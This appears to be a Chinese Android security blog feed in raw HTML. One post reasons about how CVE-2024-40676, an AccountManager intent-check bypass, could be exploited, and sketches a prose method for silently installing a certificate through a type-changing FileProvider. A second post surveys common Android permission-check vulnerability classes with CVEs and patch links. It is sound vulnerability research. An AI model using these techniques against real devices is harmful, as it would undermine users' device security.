class="string">"android.intent.category.DEFAULT"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"voicemail"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1000"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.CALL_PRIVILEGED"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"vnd.android.cursor.item/phone"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"vnd.android.cursor.item/phone_v2"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"vnd.android.cursor.item/person"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"><span class="tag"></<span class="name">activity-alias</span>></span></span><br></pre></td></tr></table></figure><p>这个 <code>PrivilegedCallActivity</code> 定义在 telecomm 里,其本身被 <code>android.permission.CALL_PRIVILEGED</code> 权限保护所以第三方应用无法调用,而且所有 intent filter 都有 data 标签!这不就是我们梦寐以求的受害组件吗?<br>等等,先别半场开香槟!回过头仔细看看它定义的所有 intent filter,前三个强制规定了 scheme 所以我们带有 content URI 的 intent 是无法匹配的;最后一个只规定了 mimeType 没有规定 scheme,看起来完全可以利用,可以再把香槟打开了……吗?<br>事实上,隐式 intent 是无法匹配到最后一个 intent filter 的。这是因为它没声明 android.intent.category.DEFAULT 这个 category。至于原因嘛,上面 UserCallActivity 的注释里写了,就是故意的:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"><!-- Omit default category below so that all Intents sent to this filter must be</span></span><br><span class="line"><span class="comment"> explicit. --></span></span><br><span class="line"><span class="tag"><<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.CALL"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"vnd.android.cursor.item/phone"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"vnd.android.cursor.item/phone_v2"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"vnd.android.cursor.item/person"</span>/></span></span><br><span class="line"><span class="tag"></<span class="name">intent-filter</span>></span></span><br></pre></td></tr></table></figure><p>摆明了就是歧视隐式 intent。得,你写的代码,你说了算。再次此路不通。</p><h3 id="尝试3:安装未知应用……什么是“未知应用”?"><a href="#尝试3:安装未知应用……什么是“未知应用”?" class="headerlink" title="尝试3:安装未知应用……什么是“未知应用”?"></a>尝试3:安装未知应用……什么是“未知应用”?</h3><p>回头看漏洞描述,里面提到了“bypass intent security check and install an unknown app”,正好启动 PackageInstaller 的私有 Activity 静默安装应用也是 launch anywhere 型漏洞常用的利用方法,那就再点开 PackageInstaller 看一眼。<br>我们一般攻击 InstallInstalling 这个 activity 进行静默安装应用,对于静默卸载则使用 UninstallUninstalling,而很遗憾这两个 activity 都没有声明任何 intent filter。观察 PackageInstaller 的 AndroidManifest.xml,用漏洞唯一能进来的就是这个 InstallStart:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">activity</span> <span class="attr">android:name</span>=<span class="string">".InstallStart"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:exported</span>=<span class="string">"true"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:excludeFromRecents</span>=<span class="string">"true"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.VIEW"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.INSTALL_PACKAGE"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"content"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/vnd.android.package-archive"</span> /></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.INSTALL_PACKAGE"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"package"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"content"</span> /></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.content.pm.action.CONFIRM_INSTALL"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span> /></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.content.pm.action.CONFIRM_PRE_APPROVAL"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span> /></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"><span class="tag"></<span class="name">activity</span>></span></span><br></pre></td></tr></table></figure><p>这个 activity 完全没被保护,我们平常写代码请求安装应用或者在文件管理器里点 apk 安装的时候进来的就是这个 activity。而观察里面的代码,也没有诸如“调用者是可信系统应用就直接安装不进行确认”这种逻辑。<br>那么漏洞作者有没有可能是攻击了应用市场的私有 activity?的确有这个可能,但是我简单扫了一眼 play store,也没找到能用的。这部分我没有完全反编译确认,只是简单看了一眼。欢迎勘误。<br>突然间,我灵光一闪……漏洞描述为什么说“unknown app”而不是“arbitrary app without user interaction”?说明很可能根本就不是静默安装 app?<br>这里简单介绍一下“未知来源”的概念:一个第三方不可信应用尝试安装其他 app 的时候需要用户手动先授权它安装未知 app,然后才能进入正常的安装确认页面。这个功能是在 PackageInstaller 中检测调用者然后判断它权限实现的。如果有办法让其他有权限的 app 帮忙启动 PackageInstaller,就能绕过这个限制。所以,漏洞作者很可能只是绕过了这个“未知来源”,而不是实现了静默安装!<br>说实话,我分析到这里的时候自己都被无语住了,跟我玩文字游戏呢……<br>后续我没有再去复现,从代码来看理论上是可行的,但是我个人觉得这种绕过的危害实在是低到可以忽略不计。感兴趣的读者可以自己试试。</p><h3 id="尝试4:静默安装证书"><a href="#尝试4:静默安装证书" class="headerlink" title="尝试4:静默安装证书"></a>尝试4:静默安装证书</h3><p>我们常用的利用方法都不行,这里我提出一种新的方法:调用 CertInstaller 静默安装证书。其实很久之前就有人提出过这种利用思路,但是一直没什么热度,考虑到 Android 7.0 开始不再默认信任用户安装的证书,具体能造成什么危害也有些许疑问。不管怎么样,反正它能静默安装(<br>先介绍一下 CertInstaller,我们的漏洞唯一能打到的就是这个叫 CertInstallerMain 的页面:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">activity</span> <span class="attr">android:name</span>=<span class="string">".CertInstallerMain"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:theme</span>=<span class="string">"@style/Transparent"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:configChanges</span>=<span class="string">"orientation|keyboardHidden|screenSize"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:exported</span>=<span class="string">"true"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.credentials.INSTALL"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.VIEW"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/x-x509-ca-cert"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/x-x509-user-cert"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/x-x509-server-cert"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/x-pkcs12"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/x-pem-file"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/pkix-cert"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:mimeType</span>=<span class="string">"application/x-wifi-config"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"><span class="tag"></<span class="name">activity</span>></span></span><br></pre></td></tr></table></figure><p>很明显我们可以通过发送带有 action=android.intent.action.VIEW type=底下那一堆的 intent 触发它,而虽然这个 activity 没被保护,但是它里面兜兜转转其实最后会判断调用者,如果是 Settings 就直接无确认安装,否则显示个对话框要求你进 Settings 里手动安装。<br>所以我们大概的思路就是,声明一个 activity 处理 VIEW 的 action + 一个随机 mime type,自己继承一下 FileProvider 然后重写 getType 在里面写个计数决定返回哪个 type,然后让系统帮我们启动 intent 即可。<br>两个需要注意的点:1. intent 要带上一个 certificate_install_usage 的 extra 否则 CertInstaller 认不出证书类型;2. system uid 不允许发出不在白名单的 URI grant,所以在 intent 里添加 grant flags 并不能给 CertInstaller 授权读写自己的 provider。解决方法可以是直接把它声明成 exported(但是这样要改 FileProvider源码),我偷懒就直接硬编码调用 <code>grantUriPermission()</code> 给 CertInstaller 授权了。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>我个人觉得虽然这个洞能调起被保护的 activity,Google 也给出了高危评级,但条件实在太过苛刻(我自己是想不到会有多少 activity 又有 mimeType 又被保护),在 AOSP 中的影响不是很大,但是这个利用本身还是非常精巧的,需要对 Android 有很深的了解才能写出来。<br>我一开始参考 Parcel Mismatch 把这种漏洞叫做“Intent Data Type Mismatch”,后面考虑“mismatch”这个英文单词可能更加强调的是“配对错了”的意思,而不是两次解析过程中因为其他因素造成的不一致,改成参考 Self-changing Bundle 这个名字命名为“Self-changing Data Type”。当然我不是漏洞发现者,没有命名权,这个命名看看就好。(所以你的 double reflection 无人问 别人一朝命名成 meta reflection 天下知怎么算……)<br>AccountManager API 是 Android 2.0 也即 2009 年添加的,Launch Anywhere 漏洞已经是 2014 年爆出来的,完全没想到除了 bundle mismatch 十年之后还能爆出来这样一种优雅的利用方法,实在佩服。这个漏洞的原理还是比较简单的,就是一个类似 TOCTTOU race condition 的问题。除了直接拒绝 content uri 以外,还有一种修复思路是做完安全检查之后直接给 intent 设置上 component name 让它成为一个显式 intent,后续 startActivity() 时就不会再进入隐式 intent 的解析流程,两种方法都能阻止它指向的组件发生变化也就修复了漏洞。<br>由于联系不到漏洞作者本人,所以以上文字纯属我的推理,没法和漏洞作者确认是否正确,也欢迎各位读者勘误。<br>推理的过程本身其实也很过瘾,有点烧脑,有一种刑侦探案的感觉,在现场通过嫌疑人遗留的证据一点一点的抽丝剥茧还原案件真相。33iq 什么的跟这个比起来都弱爆了,建议把这个漏洞改编成剧本杀(不是</p>]]></content>
<summary type="html">
<p>今年 10 月份的时候,Android 安全公告用 CVE-2024-40676 的编号公布了一个很奇怪的 <a href="https://android.googlesource.com/platform/frameworks/base/+/e8a53246607b52b15269f97aef9ba7e928ba2473" target="_blank" rel="noopener">patch</a>。<br>AccountManagerService checkKeyIntent() 负责检查 account authenticator 传回的 intent,确保它安全再传回给 caller,防止 launch anywhere 漏洞。这个补丁看起来很暴力也很奇怪,直接 ban 了所有带有 content URI 的 intent,似乎完全不考虑兼容性。是什么样的漏洞才要上如此暴力的修复方法?<br>注:如下全是我的猜测,由于联系不到漏洞作者本人,无法确认这是否就是原本的问题。</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="安全" scheme="https://blog.canyie.top/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Android 平台常见安全漏洞类型</title>
<link href="https://blog.canyie.top/2024/11/05/android-platform-common-vulnerabilities/"/>
<id>https://blog.canyie.top/2024/11/05/android-platform-common-vulnerabilities/</id>
<published>2024-11-04T22:00:00.000Z</published>
<updated>2024-11-04T12:43:37.882Z</updated>
<content type="html"><![CDATA[<p>本文适用于已对 Android 开发有基础了解,希望了解 Android 系统层常见安全漏洞的人。祝大家写代码无 bug,挖洞天天挖到 Critical RCE 漏洞链。<br>本文开始创作时间:2024-02-19 完成时间:2024-02-29 发布时间:2024-11-05</p><a id="more"></a><p><del>过年了,不要再讨论什么 CVE、CNVD、CNNVD 之类的了。你的漏洞们不能给你带来任何实质性作用,朋友们兜里掏出一大把钱吃喝玩乐,你默默的在家里打开你的 Test PLMN 。亲威朋友吃饭问你收获了什么,你说我的漏洞被谷歌评级高危了,Android 14 最新安全补丁都能用,亲戚们懵逼了,你还在心里默默嘲笑他们,笑他们不懂你的 BAL,不懂什么是 BG-FGS,不懂怎么利用 confused deputy 类型漏洞进行跨用户读取,不懂 LaunchAnywhere,不懂 PendingIntent 要 FLAG_IMMUTABLE,笑他们手机上的拼多多。你父母的同事都在说自己的子女一年的收获,儿子买了个房,女儿买了个车,姑娘升职加薪了,你的父母默默无言,说我的女儿天天在家里对着电脑上的一堆英文发呆,嘴里念叨谷歌怎么还不回我,有时候还给我们发一堆乱码的文件。</del></p><h2 id="权限,没有你我怎么活啊权限"><a href="#权限,没有你我怎么活啊权限" class="headerlink" title="权限,没有你我怎么活啊权限"></a>权限,没有你我怎么活啊权限</h2><h3 id="Android-权限机制概述"><a href="#Android-权限机制概述" class="headerlink" title="Android 权限机制概述"></a>Android 权限机制概述</h3><p>权限肯定是每个 Android 开发者都用过的东西,比如应用要访问网络,就要像这样加上网络权限:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">"android.permission.INTERNET"</span> /></span></span><br></pre></td></tr></table></figure><p>每个应用在被安装时都会被赋予一个 UID,包括系统应用。一般情况下,每个应用都会有一个独一无二的 UID,除非应用使用 <code>sharedUserId</code> 与其他应用共享 UID(这里忽略配置了 <code>isolatedProcess=true</code> 的服务进程,它们使用随机 UID 且几乎没有任何权限)。Android 系统内部也使用 UID 区分调用者。</p><p>Android 中通过 <code>getSystemService()</code> 可以拿到一堆的 <code>XxxManager</code>,而几乎所有的这些 <code>XxxManager</code> 都会和 system_server 暴露出来的一个 <code>XxxManagerService</code> 进行交互。应用调用这些系统服务提供的接口时,如果需要权限,系统会首先校验权限。以接口 <code>ConnectivityManager.getActiveNetwork()</code> 为例,它需要 <code>android.permission.ACCESS_NETWORK_STATE</code> 这个权限,所以 <code>ConnectivityService</code> 就会主动校验这个权限:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">enforceAccessPermission</span><span class="params">()</span> </span>{</span><br><span class="line"> mContext.enforceCallingOrSelfPermission(</span><br><span class="line"> android.Manifest.permission.ACCESS_NETWORK_STATE,</span><br><span class="line"> <span class="string">"ConnectivityService"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="meta">@Nullable</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Network <span class="title">getActiveNetwork</span><span class="params">()</span> </span>{</span><br><span class="line"> enforceAccessPermission();</span><br><span class="line"> <span class="keyword">return</span> getActiveNetworkForUidInternal(mDeps.getCallingUid(), <span class="keyword">false</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里的 <code>enforceCallingOrSelfPermission</code> 内部就会调用 <code>Binder.getCallingUid()</code> 拿到调用者的 UID 然后检查这个 UID 是否具有对应权限。所以实际上,鉴权用的是调用者 UID 而不是包名。</p><p>权限还有一种特殊类型,叫做特殊权限,定义时在 <code>protectionLevel</code> 中加入 <code>appop</code> 的就是。特殊权限描述一组对系统有特殊意义的权限,如悬浮窗权限和修改系统设置权限。设置中有一个“特殊应用权限”的页面专门用来控制这些特殊权限。要检查这些特殊权限的授权状态需要用到 <code>AppOpsManager</code>。</p><p>系统中还有很多别的安全机制,如 SELinux、capability 和 seccomp。这里略过不讲,感兴趣的可以自行搜索。</p><p>想要以一个系统开发者的身份了解更多关于权限的知识,可以查看谷歌官方说明文档:<a href="https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/permission/Permissions.md" target="_blank" rel="noopener">Android permissions for system developers</a></p><h3 id="常见漏洞类型:主动鉴权不当"><a href="#常见漏洞类型:主动鉴权不当" class="headerlink" title="常见漏洞类型:主动鉴权不当"></a>常见漏洞类型:主动鉴权不当</h3><h4 id="CVE-2023-40094:鉴权缺失"><a href="#CVE-2023-40094:鉴权缺失" class="headerlink" title="CVE-2023-40094:鉴权缺失"></a>CVE-2023-40094:鉴权缺失</h4><p>补丁链接:<a href="https://android.googlesource.com/platform/frameworks/base/+/1120bc7e511710b1b774adf29ba47106292365e7" target="_blank" rel="noopener">Require permission to unlock keyguard</a></p><p>此种类型的漏洞可谓是最简单最经典的漏洞,对 Android 权限模型足够熟悉的人可能看一眼就能知道有问题,且漏洞危害性往往较高,如此例的 CVE-2023-40094,允许任意 app 调用特权 API 无密码解除锁屏,Google 也给出了高危评级。这种漏洞简单但可遇不可求,要在 AOSP 上百 GB 的源码仓库中发现未被适当保护的特权 API,可谓是大海捞针,捞到一个白嫖一个 CVE,偷着乐去。近几个月安全补丁中大概 1~3 个月就会有这种漏洞被公开,说明这种漏洞可能还存在不少,可能集中在新加的 API 和被重构过的服务中,还有各个 OEM 添加的自定义 API。</p><h4 id="CVE-2021-0554:鉴权在客户端"><a href="#CVE-2021-0554:鉴权在客户端" class="headerlink" title="CVE-2021-0554:鉴权在客户端"></a>CVE-2021-0554:鉴权在客户端</h4><p>补丁链接:<a href="https://android.googlesource.com/platform/frameworks/base/+/4ab5af1eb569a46f2117377382aac7dc6535cfc5" target="_blank" rel="noopener">Enforce BACKUP permission on Service end.</a></p><p>Android 很多系统服务向应用暴露了自己的接口,允许应用调用。一般来说,应用这边使用的 API 叫 XxxManager,system_server 里会有一个对应的 XxxManagerService。应用这边的 XxxManager 基本上什么都不干,就只是调用 system_server 里的 XxxManagerService 而已,真正干活的是 XxxManagerService。</p><p>发现了什么吗?以 ActivityManager 为例,虽然 ActivityManager 和 ActivityManagerService 都是系统的类,但是应用调用 API 的时候,ActivityManager 这个类里的代码是运行在调用者进程的,只有 ActivityManagerService 是在系统进程的!在调用者进程意味着调用者可以随便干扰,所以所有鉴权操作都应该放在系统进程里的 ActivityManagerService 以避免被干扰。而在这个漏洞中,代码刚好写反了,app 调用 BackupManager 的时候,BackupManager 在当前进程检查一遍权限,而BackupManagerService 中的接口却没有被保护。无论是利用反射、hook,或者直接调用 IBackupManager 都可以轻易绕过权限检查。</p><p>这个其实和上一个没什么区别了,没有人这么写代码,近几年也没再看见过类似漏洞,参考价值不大,纯当乐子看就好。</p><h4 id="CVE-2015-6624-amp-CVE-2015-6625:特殊接口-dump"><a href="#CVE-2015-6624-amp-CVE-2015-6625:特殊接口-dump" class="headerlink" title="CVE-2015-6624 & CVE-2015-6625:特殊接口 dump"></a>CVE-2015-6624 & CVE-2015-6625:特殊接口 dump</h4><p>CVE-2015-6624 补丁:<a href="https://android.googlesource.com/platform/frameworks/av/+/f86a441cb5b0dccd3106019e578c3535498e5315%5E%21/#F0" target="_blank" rel="noopener">Add DUMP permission check to ResourceManagerService.</a></p><p>CVE-2015-6625 补丁:<a href="https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/29fa7d2ffc3bba55173969309e280328b43eeca1%5E%21/#F0" target="_blank" rel="noopener">Add DUMP permission check to WifiScanner service.</a></p><p>这两个漏洞本质上都还是接口缺权限校验,但漏洞点位于特殊接口 dump 内。dump 是 binder 内置的接口,很少被开发者注意到,仅用于在调试时(如 dumpsys 或 cmd xxx dump)输出信息。为了保护这些敏感数据,调用者应该具有 <code>android.permission.DUMP</code> 权限,而大部分接口也确实检查了权限,但仍然不排除有开发者失误的情况。识别这种漏洞可以尝试使用自动化工具,多设备批量对所有系统服务进行测试。不过现在 CTS 测试会确保没权限的时候调用 dump 任何服务都不会返回正确信息,所以应该也没什么挖掘价值。</p><h4 id="CVE-2020-0109:特殊接口-shellCommand"><a href="#CVE-2020-0109:特殊接口-shellCommand" class="headerlink" title="CVE-2020-0109:特殊接口 shellCommand"></a>CVE-2020-0109:特殊接口 shellCommand</h4><p>补丁链接:<a href="https://android.googlesource.com/platform/frameworks/base/+/adc39de3a148a2058d63bd7a1b8b71ee0a3524ac%5E%21/#F0" target="_blank" rel="noopener">Fix notification shell commands</a></p><p>和上一条类似,不过这里是特殊接口 shellCommand,该接口用于 adb shell 命令行调试时调用 <code>cmd xxx yyy</code>。和上一条的 dump 相比,这一项更为复杂一点:</p><ol><li>Binder.java 中默认的 <code>onShellCommand</code> 实现会保证调用者 UID 为 root 或 shell,不满足直接拒绝,然后调用 <code>handleShellCommand</code> 实现具体操作,但 AOSP 中存在大量服务类直接重写了 <code>onShellCommand</code> 而非 <code>handleShellCommand</code>,使得这个校验被跳过;</li><li>即使服务没有使用 <code>handleShellCommand</code>,如果 <code>onShellCommand</code> 内正确检查了调用者权限或调用者 UID,那也是安全的;</li><li>即使未直接检查调用者权限,如果 <code>ShellCommand</code> 内调用的都是会检查权限的公开接口(且没有 clear calling id),那也可以认为安全。</li></ol><p>在这个漏洞中,部分操作未正确检查调用者权限,使得攻击者可以无权限调用系统内部私有接口造成漏洞。我发现的 CVE-2024-31318 就属于这种漏洞。这种漏洞近几年也不多见,了解一下就行。</p><h4 id="CVE-2021-0683:不正确的-ShellCommand-实现"><a href="#CVE-2021-0683:不正确的-ShellCommand-实现" class="headerlink" title="CVE-2021-0683:不正确的 ShellCommand 实现"></a>CVE-2021-0683:不正确的 ShellCommand 实现</h4><p>补丁链接:<a href="https://android.googlesource.com/platform/frameworks/base/+/4241ab5ee435ee3c5e6496c001b2cf5bc827cfc4%5E%21/#F0" target="_blank" rel="noopener">Fix side effects of trace-ipc and dumpheap commands</a></p><p>本例中,<code>ActivityManagerShellCommand</code> 会在 <code>ActivityManagerService.onShellCommand</code> 中被调用,所以这里的代码运行在 system_server 进程,有着系统权限,直接调用 <code>file.delete()</code> 是以系统特权执行的,而很明显原本调用者不应该有删除系统文件的权限,造成漏洞。可能你会说,就算不删除文件,底下 system_server 一样要打开这个文件才能往里写入内容啊,这不是一样会覆盖原文件?请注意这里使用的是 <code>openFileForSystem</code>,这个函数实际上不会自己打开文件,而是使用调用者传递的 <code>ShellCallback</code>,让调用者进程打开文件然后返回文件描述符,所以实际上还是用调用者本身的权限。其他系统服务中,直接接受文件路径的接口(如 <code>pm install /path/to/apk</code>)也都应该这样实现,避免越权。</p><h4 id="CVE-2021-0327-amp-CVE-2021-0398:一行-clearCallingIdentity-引发的惨案"><a href="#CVE-2021-0327-amp-CVE-2021-0398:一行-clearCallingIdentity-引发的惨案" class="headerlink" title="CVE-2021-0327 & CVE-2021-0398:一行 clearCallingIdentity 引发的惨案"></a>CVE-2021-0327 & CVE-2021-0398:一行 clearCallingIdentity 引发的惨案</h4><p>CVE-2021-0327 补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/69eaa90b0e4cc78fa2f518a50182bc9e4c9e87f3%5E%21/#F0" target="_blank" rel="noopener">Ensure caller identity is restored in CP quick-path.</a></p><p>CVE-2021-0398 补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/86bd39db3595842bae77abe7e768226e412591c8" target="_blank" rel="noopener">Set mAllowWhileInUsePermissionInFgs correctly when bindService() from background.</a></p><p>还记得上面提到的 Binder IPC 鉴权过程吗?<code>enforceCallingOrSelfPermission</code> 等 API 实际都是依赖 <code>Binder.getCallingUid()</code> 返回的调用者 UID 进行鉴权的,而另一个 API <code>clearCallingIdentity</code> 允许让 <code>getCallingUid</code> 返回自己的 UID,以此绕过部分权限检查。有时这种行为是有意且安全的,而有时则能造成安全漏洞。Android 发展十几年,API 之间的调用关系错综复杂,如果有一点没考虑到,就有可能造成漏洞。要发现这种漏洞,可以使用<a href="https://github.com/michalbednarski/OrganizerTransaction?tab=readme-ov-file#bindergetcallinguid-that-always-returns-system-uid" target="_blank" rel="noopener">静态代码分析工具</a>,但仍然需要人工一个一个筛选可用项,还是体力活。</p><h4 id="CVE-2015-6623:鉴权,但是手滑写错了"><a href="#CVE-2015-6623:鉴权,但是手滑写错了" class="headerlink" title="CVE-2015-6623:鉴权,但是手滑写错了"></a>CVE-2015-6623:鉴权,但是手滑写错了</h4><p>补丁:<a href="https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a15a2ee69156fa6fff09c0dd9b8182cb8fafde1c%5E%21/#F0" target="_blank" rel="noopener">Ask for system permission to enable ePNO</a></p><p>太戏剧了一看就懂,应该不用多说……</p><p>除了纯粹手滑,这种漏洞比较多的出现在大版本迭代行为变更时,改了一个但是没改完的情况,如 CVE-2015-3833,Android 5.0 废弃 <code>getRecentsTask</code> 方法,只在调用者拥有 <code>android.permission.REAL_GET_TASKS</code> 特权时才返回其他进程信息,但是 <code>getRunningAppProcesses()</code> 没任何权限检查,调用这个接口可以变相达成 <code>getRecentsTask</code> 的效果。</p><h4 id="CVE-2020-0107-amp-CVE-2020-0246-amp-CVE-2023-21092:调用者伪造-package-name"><a href="#CVE-2020-0107-amp-CVE-2020-0246-amp-CVE-2023-21092:调用者伪造-package-name" class="headerlink" title="CVE-2020-0107 & CVE-2020-0246 & CVE-2023-21092:调用者伪造 package name"></a>CVE-2020-0107 & CVE-2020-0246 & CVE-2023-21092:调用者伪造 package name</h4><p>CVE-2020-0107 补丁:<a href="https://android.googlesource.com/platform/packages/services/Telephony/+/a39e6c1efb02ff9c19fb91beae9b548f5c1ecc78%5E%21/#F0" target="_blank" rel="noopener">Check UID in getUiccCardsInfoSecurity</a></p><p>CVE-2020-0246 补丁:<a href="https://android.googlesource.com/platform/frameworks/opt/telephony/+/cfaf9f980aa8d3ca51cd8555ca27cd0ef561cb02%5E%21/#F0" target="_blank" rel="noopener">Add package checking with Uid in EuiccController#getEid</a></p><p>CVE-2023-21092 